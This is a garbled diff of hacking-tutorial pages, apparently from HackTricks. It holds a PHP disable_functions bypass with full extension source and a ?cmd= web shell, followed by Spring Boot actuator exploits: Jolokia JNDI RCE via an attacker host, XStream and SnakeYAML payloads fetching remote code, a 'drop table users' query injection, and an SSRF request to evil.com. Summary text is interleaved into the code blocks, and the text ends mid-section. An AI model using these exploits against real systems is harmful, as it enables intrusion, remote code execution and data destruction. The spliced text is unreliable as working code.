1- The value of `ZEND_MODULE_API_NO` must be changed in the `bypass.c` file to the current `Zend Extension Build` you working on, you can get it using the command line below:
|
||||
2. **PHP Source Acquisition:**
|
||||
- Downloads the PHP source from the official [PHP website](http://www.php.net/downloads.php) or the [archive](http://museum.php.net) if the version is older.
|
||||
|
||||
```bash
|
||||
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
|
||||
```
|
||||
3. **Local PHP Setup:**
|
||||
- Extracts and installs the specific PHP version on their system.
|
||||
|
||||
2- If you faced any errors in compiling the bypass.c file in the recent PHP version (5, 7 and 8), you can change the PHP_FUNCTION(bypass_exec) to this:
|
||||
4. **Extension Creation:**
|
||||
- Studies [creating PHP extensions](http://www.php.net/manual/en/zend.creating.php) and inspects the PHP source code.
|
||||
- Focuses on duplicating the functionality of the [exec function](http://www.php.net/manual/en/function.exec.php) located at `ext/standard/exec.c`.
|
||||
|
||||
```
|
||||
PHP_FUNCTION(bypass_exec)
|
||||
{
|
||||
FILE *in;
|
||||
char *command;
|
||||
size_t command_len;
|
||||
zend_string *ret;
|
||||
php_stream *stream;
|
||||
### Notes for Compiling the Custom Extension:
|
||||
|
||||
ZEND_PARSE_PARAMETERS_START(1, 1)
|
||||
Z_PARAM_STRING(command, command_len)
|
||||
ZEND_PARSE_PARAMETERS_END();
|
||||
1. **ZEND_MODULE_API_NO:**
|
||||
- The `ZEND_MODULE_API_NO` in `bypass.c` must match the current Zend Extension Build, retrievable with:
|
||||
```bash
|
||||
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
|
||||
```
|
||||
|
||||
if (!command_len) {
|
||||
zend_argument_value_error(1, "cannot be empty");
|
||||
RETURN_THROWS();
|
||||
}
|
||||
if (strlen(command) != command_len) {
|
||||
zend_argument_value_error(1, "must not contain any null bytes");
|
||||
RETURN_THROWS();
|
||||
}
|
||||
2. **PHP_FUNCTION Modification:**
|
||||
- For recent PHP versions (5, 7, 8), `PHP_FUNCTION(bypass_exec)` may need adjustment. The provided code snippet details this modification.
|
||||
|
||||
#ifdef PHP_WIN32
|
||||
if ((in=VCWD_POPEN(command, "rt"))==NULL) {
|
||||
#else
|
||||
if ((in=VCWD_POPEN(command, "r"))==NULL) {
|
||||
#endif
|
||||
php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command);
|
||||
RETURN_FALSE;
|
||||
}
|
||||
### Custom Extension Files:
|
||||
|
||||
stream = php_stream_fopen_from_pipe(in, "rb");
|
||||
ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0);
|
||||
php_stream_close(stream);
|
||||
- **bypass.c**:
|
||||
- Implements the core functionality of the custom extension.
|
||||
- **php_bypass.h**:
|
||||
- Header file, defining extension properties.
|
||||
- **config.m4**:
|
||||
- Used by `phpize` to configure the build environment for the custom extension.
|
||||
|
||||
if (ret && ZSTR_LEN(ret) > 0) {
|
||||
RETVAL_STR(ret);
|
||||
}
|
||||
}
|
||||
```
|
||||
### Building the Extension:
|
||||
|
||||
The files for the separate extension end up as below:
|
||||
1. **Compilation Commands:**
|
||||
- Uses `phpize`, `./configure`, and `make` to compile the extension.
|
||||
- Resulting `bypass.so` is then located in the modules subdirectory.
|
||||
|
||||
{% code title="bypass.c" %}
|
||||
```c
|
||||
/*
|
||||
+----------------------------------------------------------------------+
|
||||
| Copyright (c) 1997-2003 The PHP Group |
|
||||
+----------------------------------------------------------------------+
|
||||
| This source file is subject to version 2.02 of the PHP license, |
|
||||
| that is bundled with this package in the file LICENSE, and is |
|
||||
| available at through the world-wide-web at |
|
||||
| http://www.php.net/license/2_02.txt. |
|
||||
| If you did not receive a copy of the PHP license and are unable to |
|
||||
| obtain it through the world-wide-web, please send a note to |
|
||||
| license@php.net so we can mail you a copy immediately. |
|
||||
+----------------------------------------------------------------------+
|
||||
*/
|
||||
2. **Cleanup:**
|
||||
- Runs `make clean` and `phpize --clean` after compilation.
|
||||
|
||||
### Uploading and Executing on the Victim Host:
|
||||
|
||||
1. **Version Compatibility:**
|
||||
- Ensures PHP API versions match between the attacker's and victim's systems.
|
||||
|
||||
2. **Extension Loading:**
|
||||
- Utilizes the `dl` function, circumventing restrictions by using relative paths or a script to automate the process.
|
||||
|
||||
3. **Script Execution:**
|
||||
- The attacker uploads `bypass.so` and a PHP script to the victim's server.
|
||||
- The script uses `dl_local` function to dynamically load `bypass.so` and then calls `bypass_exec` with a command passed via the `cmd` query parameter.
|
||||
|
||||
### Command Execution:
|
||||
|
||||
- The attacker can now execute commands by accessing: `http://www.example.com/script.php?cmd=<command>`
|
||||
|
||||
|
||||
#ifdef HAVE_CONFIG_H
|
||||
#include "config.h"
|
||||
#endif
|
||||
|
||||
#include "php.h"
|
||||
#include "php_bypass.h"
|
||||
|
||||
static function_entry bypass_functions[] = {
|
||||
PHP_FE(bypass_exec, NULL)
|
||||
{NULL, NULL, NULL}
|
||||
};
|
||||
|
||||
zend_module_entry bypass_module_entry = {
|
||||
#if ZEND_MODULE_API_NO >= 20010901
|
||||
STANDARD_MODULE_HEADER,
|
||||
#endif
|
||||
PHP_BYPASS_EXTNAME,
|
||||
bypass_functions,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
#if ZEND_MODULE_API_NO >= 20010901
|
||||
PHP_BYPASS_VERSION,
|
||||
#endif
|
||||
STANDARD_MODULE_PROPERTIES
|
||||
};
|
||||
|
||||
#ifdef COMPILE_DL_BYPASS
|
||||
ZEND_GET_MODULE(bypass)
|
||||
#endif
|
||||
|
||||
|
||||
PHP_FUNCTION(bypass_exec){
|
||||
FILE *in;
|
||||
int readbytes, total_readbytes=0, allocated_space;
|
||||
pval **cmd;
|
||||
char *ret;
|
||||
|
||||
if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) {
|
||||
WRONG_PARAM_COUNT;
|
||||
}
|
||||
|
||||
convert_to_string_ex(cmd);
|
||||
#ifdef PHP_WIN32
|
||||
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) {
|
||||
#else
|
||||
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) {
|
||||
#endif
|
||||
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd));
|
||||
RETURN_FALSE;
|
||||
}
|
||||
|
||||
allocated_space = EXEC_INPUT_BUF;
|
||||
ret = (char *) emalloc(allocated_space);
|
||||
|
||||
while (1) {
|
||||
readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in);
|
||||
if (readbytes<=0) {
|
||||
break;
|
||||
}
|
||||
|
||||
total_readbytes += readbytes;
|
||||
allocated_space = total_readbytes+EXEC_INPUT_BUF;
|
||||
ret = (char *) erealloc(ret, allocated_space);
|
||||
}
|
||||
|
||||
pclose(in);
|
||||
|
||||
RETVAL_STRINGL(ret, total_readbytes, 0);
|
||||
Z_STRVAL_P(return_value)[total_readbytes] = '\';
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="php_bypass.h" %}
|
||||
```c
|
||||
#ifndef PHP_BYPASS_H
|
||||
#define PHP_BYPASS_H 1
|
||||
|
||||
#define PHP_BYPASS_VERSION "1.0"
|
||||
#define PHP_BYPASS_EXTNAME "bypass"
|
||||
|
||||
PHP_FUNCTION(bypass_exec);
|
||||
|
||||
extern zend_module_entry bypass_module_entry;
|
||||
#define phpext_bypass_ptr &bypass_module_entry
|
||||
|
||||
#endif
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="config.m4" %}
|
||||
```bash
|
||||
PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass])
|
||||
|
||||
if test "$PHP_BYPASS" = "yes"; then
|
||||
AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass])
|
||||
PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared)
|
||||
fi
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Once the files are created it's time to build the PHP extension.
|
||||
|
||||
```
|
||||
phpize
|
||||
./configure
|
||||
make
|
||||
```
|
||||
|
||||
Once this is done the compiled extension will be located in the modules sub directory with the filename bypass.so.\
|
||||
The file is copied to a safe place, now the following commands are executed to clean up the newly created files.
|
||||
|
||||
```
|
||||
make clean
|
||||
phpize --clean
|
||||
```
|
||||
|
||||
Now the attacker uploads the newly created extension to the victim host.\
|
||||
\
|
||||
(NOTE: Major releases of PHP use different API versions, in order for you to be able to compile the extension on one host and upload it to another the API versions must match. This is why initially the same PHP version was installed on the attackers box. )\
|
||||
\
|
||||
In order to load an extension with the dl function the extension needs to be in the the extension directory which is defined by the extension\_dir directive.\
|
||||
This can be a problem since it's less likely for the attacker to have write permissions in this directory, there is however a way to get passed this.\
|
||||
This problem has been discussed by developers on the dl function page within the notes section.\
|
||||
\
|
||||
The concept that was discussed is to use a relative path from the defined extension directory.\
|
||||
For example if the extension directory was set to /usr/php/extensions and you'd like to load bypass.so in the current web directory /home/example.com/html you would do as follows:
|
||||
|
||||
```php
|
||||
<?php
|
||||
dl('../../../home/example.com/html/bypass.so');
|
||||
?>
|
||||
```
|
||||
|
||||
This will get passed the need to have the extension in the defined extension directory.\
|
||||
\
|
||||
There is also an automated way so you won't have to change the relative path for different hosts, this code was created by endofyourself \[at] yahoo \[dot] com and improved apon later on by mag\_2000 \[at] front \[dot] ru\
|
||||
\
|
||||
There was one minor problem with the function, on some hosts the extension directory is set to "./" this function didn't take into account if the extension directory was set to a relative path, the fix for this is too use the realpath function.\
|
||||
\
|
||||
The final script used to load the extension and execute system commands to bypass the disabled functions is as follows:
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
function dl_local( $extensionFile ) {
|
||||
if(!(bool)ini_get('enable_dl')
|
||||
||(bool)ini_get('safe_mode')){
|
||||
die('Loading extensions is not permitted.');
|
||||
}
|
||||
|
||||
if(!file_exists($extensionFile)){
|
||||
die('File '.$extensionFile.' does not exist.');
|
||||
}
|
||||
|
||||
if(!is_executable($extensionFile)){
|
||||
die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )');
|
||||
}
|
||||
|
||||
$currentDir = getcwd().'/';
|
||||
$currentExtPath = realpath(ini_get('extension_dir'));
|
||||
|
||||
$subDirs = preg_match_all("/\//",$currentExtPath ,$matches);
|
||||
unset($matches);
|
||||
|
||||
if(!(bool)$subDirs){
|
||||
die('Could not determine a valid extension path [extension_dir]');
|
||||
}
|
||||
|
||||
$extPathLastChar=strlen($currentExtPath )-1;
|
||||
|
||||
if($extPathLastChar==strrpos($currentExtPath,'/')){
|
||||
$subDirs--;}$backDirStr = '';
|
||||
|
||||
for($i = 1; $i <= $subDirs; $i++){
|
||||
$backDirStr .='..';
|
||||
if($i != $subDirs){
|
||||
$backDirStr .='/';
|
||||
}
|
||||
}
|
||||
|
||||
$finalExtPath = $backDirStr.$currentDir.$extensionFile;
|
||||
if(!dl($finalExtPath)){
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
$loadedExtensions = get_loaded_extensions();
|
||||
$thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1];
|
||||
return $thisExtName;
|
||||
}
|
||||
|
||||
@ini_set ('display_errors','1');
|
||||
error_reporting(E_ALL);
|
||||
|
||||
dl_local('bypass.so');
|
||||
|
||||
if(@$_GET['cmd']){
|
||||
$output = bypass_exec($_GET['cmd']);
|
||||
echo '<pre>'.$output.'</pre>';
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
All the attacker has to do now to execute commands is call the URL to the script along with a cmd variable with the desired command.
|
||||
|
||||
```
|
||||
http://www.example.com/script.php?cmd=ls
|
||||
```
|
||||
This detailed walkthrough outlines the process of creating and deploying a PHP extension to execute system commands, exploiting the `dl` function, which should ideally be disabled to prevent such security breaches.
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -22,242 +22,59 @@ Other ways to support HackTricks:
|
|||
|
||||
## Exploiting Spring Boot Actuators
|
||||
|
||||
**copied from** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
**Check the original post from** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured.
|
||||
### **Key Points:**
|
||||
|
||||
When a Spring Boot application is running, it automatically registers several endpoints (such as '/health', '/trace', '/beans', '/env' etc) into the routing process. For Spring Boot 1 - 1.4, they are accessible without authentication, causing significant problems with security. Starting with Spring version 1.5, all endpoints apart from '/health' and '/info' are considered sensitive and secured by default, but this security is often disabled by the application developers.
|
||||
- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
|
||||
- Certain Actuator endpoints can expose sensitive data or allow harmful actions:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
|
||||
- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.
|
||||
|
||||
The following Actuator endpoints could potentially have security implications leading to possible vulnerabilities:
|
||||
### **Exploitation Techniques:**
|
||||
|
||||
* /dump - displays a dump of threads (including a stack trace)
|
||||
* /trace - displays the last several HTTP messages (which could include session identifiers)
|
||||
* /logfile - outputs the contents of the log file
|
||||
* /shutdown - shuts the application down
|
||||
* /mappings - shows all of the MVC controller mappings
|
||||
* /env - provides access to the configuration environment
|
||||
* /actuator/env
|
||||
* /restart - restarts the application
|
||||
* /heapdump - Builds and returns a heap dump from the JVM used by our application
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
|
||||
- The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
|
||||
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
|
||||
For Spring 1x, they are registered under the root URL, and in 2x they moved to the "/actuator/" base path.
|
||||
2. **Config Modification via '/env'**:
|
||||
- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
|
||||
- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
|
||||
- Example exploit POST request:
|
||||
|
||||
**Exploitation:**
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 65
|
||||
|
||||
Most of the actuators support only GET requests and simply reveal sensitive configuration data, but several of them are particularly interesting for shell hunters:
|
||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
**1. Remote Code Execution via '/jolokia'**
|
||||
3. **Other Useful Settings**:
|
||||
- Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.
|
||||
|
||||
If the Jolokia Library is in the target application classpath, it is automatically exposed by Spring Boot under the '/jolokia' actuator endpoint. Jolokia allows HTTP access to all registered MBeans and is designed to perform the same operations you can perform with JMX. It is possible to list all available MBeans actions using the URL:
|
||||
### **Additional Information:**
|
||||
|
||||
[**http://127.0.0.1:8090/jolokia/list**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.
|
||||
|
||||
Again, most of the MBeans actions just reveal some system data, but one is particularly interesting:
|
||||
### **Related Topics:**
|
||||
|
||||
![reloadByURL](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_jolokia.png)
|
||||
1. **Env + H2 RCE**:
|
||||
- Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
The '**reloadByURL**' action, provided by the Logback library, allows us to reload the logging config from an external URL. It could be triggered just by navigating to:[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
|
||||
- Example exploit request:
|
||||
|
||||
So, why should we care about logging config? Mainly because of two things:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
|
||||
1. Config has an XML format, and of course, Logback parses it with External Entities enabled, hence it is vulnerable to blind XXE.
|
||||
2. The Logback config has the feature ['Obtaining variables from JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). In the XML file, we can include a tag like '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' and the name attribute will be passed to the DirContext.lookup() method. If we can supply an arbitrary name into the .lookup() function, we don't even need XXE or HeapDump because it gives us a full **Remote Code Execution**.
|
||||
|
||||
**How it works:**
|
||||
|
||||
1\. An attacker requests the aforementioned URL to execute the 'reloadByURL' function, provided by the 'qos.logback.classic.jmx.JMXConfigurator' class.
|
||||
|
||||
2\. The 'reloadByURL' function downloads a new config from [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) and parses it as a Logback config. This malicious config should have the following content:
|
||||
|
||||
```
|
||||
<configuration>
|
||||
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
|
||||
</configuration>
|
||||
```
|
||||
|
||||
3\. When this file is parsed on the vulnerable server, it creates a connection to the attacker-controlled LDAP server specified in the “env-entry-name” parameter value, which leads to JNDI resolution. The malicious LDAP server may return an object with 'Reference' type to trigger an **execution of the supplied bytecode** on the target application. JNDI attacks are well explained in this [MicroFocus research paper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). The [new JNDI exploitation technique](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (described previously in our blog) also works here, as Tomcat is the default application server in the Spring Boot Framework.
|
||||
|
||||
**2. Config modification via '/env'**
|
||||
|
||||
If Spring Cloud Libraries are in the classpath, the **'/env'** endpoint allows you to modify the Spring environmental properties. All beans annotated as '**@ConfigurationProperties**' may be modified and rebinded. Many, but not all, properties we can control are listed on the '/configprops' actuator endpoint. Actually, there are tons of them, but it is absolutely not clear what we need to modify to achieve something. After spending a couple of days playing with them we found this:
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 65
|
||||
|
||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
This property modifies the Eureka serviceURL to an arbitrary value. Eureka Server is normally used as a discovery server, and almost all Spring Cloud applications register at it and send status updates to it. If you are lucky to have Eureka-Client <1.8.7 in the target classpath (it is normally included in Spring Cloud Netflix), you can exploit the **XStream deserialization vulnerability** in it. All you need to do is to set the 'eureka.client.serviceUrl.defaultZone' property to your server URL ( [http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)) via '/env' and then call '/refresh' endpoint. After that, your server should serve the XStream payload with the following content:
|
||||
|
||||
```markup
|
||||
<linked-hash-set>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer></ibuffer>
|
||||
</is>
|
||||
</dataSource>
|
||||
</dataHandler>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
</linked-hash-set>
|
||||
```
|
||||
|
||||
This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the [Marshalsec research](https://github.com/mbechler/marshalsec). The only difference here is using **LinkedHashSet** to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a [custom converter for maps](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints.
|
||||
|
||||
Using Spring Actuators, you can actually exploit this vulnerability even if you don't have access to an internal Eureka server; you only need an "/env" endpoint available.
|
||||
|
||||
**Other useful settings:**
|
||||
|
||||
**spring.datasource.tomcat.validationQuery=drop+table+users** - allows you to specify any SQL query, and it will be automatically executed against the current database. It could be any statement, including insert, update, or delete.
|
||||
|
||||
![Exploiting Spring Boot Actuators Drop Table](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_drop\_table.png)
|
||||
|
||||
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - allows you to modify the current JDBC connection string.
|
||||
|
||||
The last one looks great, but the problem is when the application running the database connection is already established, just updating the JDBC string does not have any effect. Hopefully, there is another property that may help us in this case:
|
||||
|
||||
**spring.datasource.tomcat.max-active**=777
|
||||
|
||||
The trick we can use here is to increase the number of simultaneous connections to the database. So, we can change the JDBC connection string, increase the number of connections, and after that send many requests to the application to simulate heavy load. Under the load, the application will create a new database connection with the updated malicious JDBC string. I tested this technique locally agains Mysql and it works like a charm.
|
||||
|
||||
![Exploiting Spring Boot Actuators Max Active](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_max\_active.png)
|
||||
|
||||
Apart from that, there are other properties that look interesting, but, in practice, are not really useful:
|
||||
|
||||
**spring.datasource.url** - database connection string (used only for the first connection)
|
||||
|
||||
**spring.datasource.jndiName** - databases JNDI string (used only for the first connection)
|
||||
|
||||
**spring.datasource.tomcat.dataSourceJNDI** - databases JNDI string (not used at all)
|
||||
|
||||
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - spring cloud config url (does not have any effect after app start, only the initial values are used.)
|
||||
|
||||
These properties do not have any effect unless the '/restart' endpoint is called. This endpoint restarts all ApplicationContext but its disabled by default.
|
||||
|
||||
There are a lot of other interesting properties, but most of them do not take immediate effect after change.
|
||||
|
||||
**N.B.** In Spring Boot 2x, the request format for modifying properties via the '/env' endpoint is slightly different (it uses json format instead), but the idea is the same.
|
||||
|
||||
**An example of the vulnerable app:**
|
||||
|
||||
If you want to test this vulnerability locally, I created a [simple Spring Boot application on my Github page](https://github.com/artsploit/actuator-testbed). All payloads should work there, except for database settings (unless you configure it).
|
||||
|
||||
**Black box discovery:**
|
||||
|
||||
A full list of default actuators may be found here: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Keep in mind that application developers can create their own endpoints using @Endpoint annotation.
|
||||
|
||||
**Update May 2019:**
|
||||
|
||||
There is a more reliable way to achieve RCE via a Spring environmental properties modification:
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 59
|
||||
|
||||
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
|
||||
```
|
||||
|
||||
This request modifies the 'spring.cloud.bootstrap.location' property, which is used to load external config and parse it in YAML format. To make this happen, we also need to call the '/refresh' endpoint.
|
||||
|
||||
```
|
||||
POST /refresh HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 0
|
||||
```
|
||||
|
||||
When the YAML config is fetched from the remote server, it is parsed with the SnakeYAML library, which is also susceptible to deserialization attacks. The payload (yaml-payload.yml) may be generated by using the aforementioned Marshalsec research :
|
||||
|
||||
```
|
||||
!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
|
||||
]]
|
||||
]
|
||||
```
|
||||
|
||||
Deserialization of this file triggers execution of the ScriptEngineManager's constructor with the supplied URLClassLoader. In a nutshell, it leads to the **'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'** method, which tries to find all implementations of the 'ScriptEngineFactory' interface within all libraries in the classpath. Since we can add a new library via URLClassLoader, we can serve a new 'ScriptEngineFactory' with the malicious bytecode inside. In order to do so, we need to create a jar archive with the following mandatory files: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) should contain the actual bytecode, with the malicious payload in the constructor.
|
||||
|
||||
```
|
||||
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
|
||||
|
||||
public AwesomeScriptEngineFactory() {
|
||||
try {
|
||||
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
|
||||
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) should be just a text file containing a full reference to 'artsploit.AwesomeScriptEngineFactory', so that the ServiceLoader will know where to find the class: **artsploit.AwesomeScriptEngineFactory** Again, this exploitation technique requires spring cloud to be in the classpath, but in comparison to Eureka's XStream payload, it works even in the latest version. You can find the complete payload in my github project: [yaml-payload](https://github.com/artsploit/yaml-payload).
|
||||
|
||||
## Env + H2 RCE
|
||||
|
||||
See this page to find how to exploit the /env + H2 combination: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
|
||||
|
||||
## SSRF on Spring Boot Through Incorrect Pathname Interpretation <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
[**From this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): Spring framework accepts the matrix parameter separator character `;` before the first slash of the HTTP pathname:
|
||||
|
||||
```http
|
||||
GET ;1337/api/v1/me HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
|
||||
In a scenario like the following one:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (717).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Considering that Spring permits any character following the Matrix parameter separator, becoming possible to use the `@` character to fetch an arbitrary endpoint as well.
|
||||
|
||||
Below is an example of the exploit request:
|
||||
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
|
||||
## More Information
|
||||
|
||||
* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
|
||||
* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
|
||||
* [https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep](https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -38,8 +38,7 @@ In some occasions the **`/console`** endpoint is going to be protected by a pin.
|
|||
|
||||
### Werkzeug Console PIN Exploit
|
||||
|
||||
**Copied from the first link.**\
|
||||
See Werkzeug “console locked” message by forcing debug error page in the app.
|
||||
Force a debug error page in the app to see this:
|
||||
|
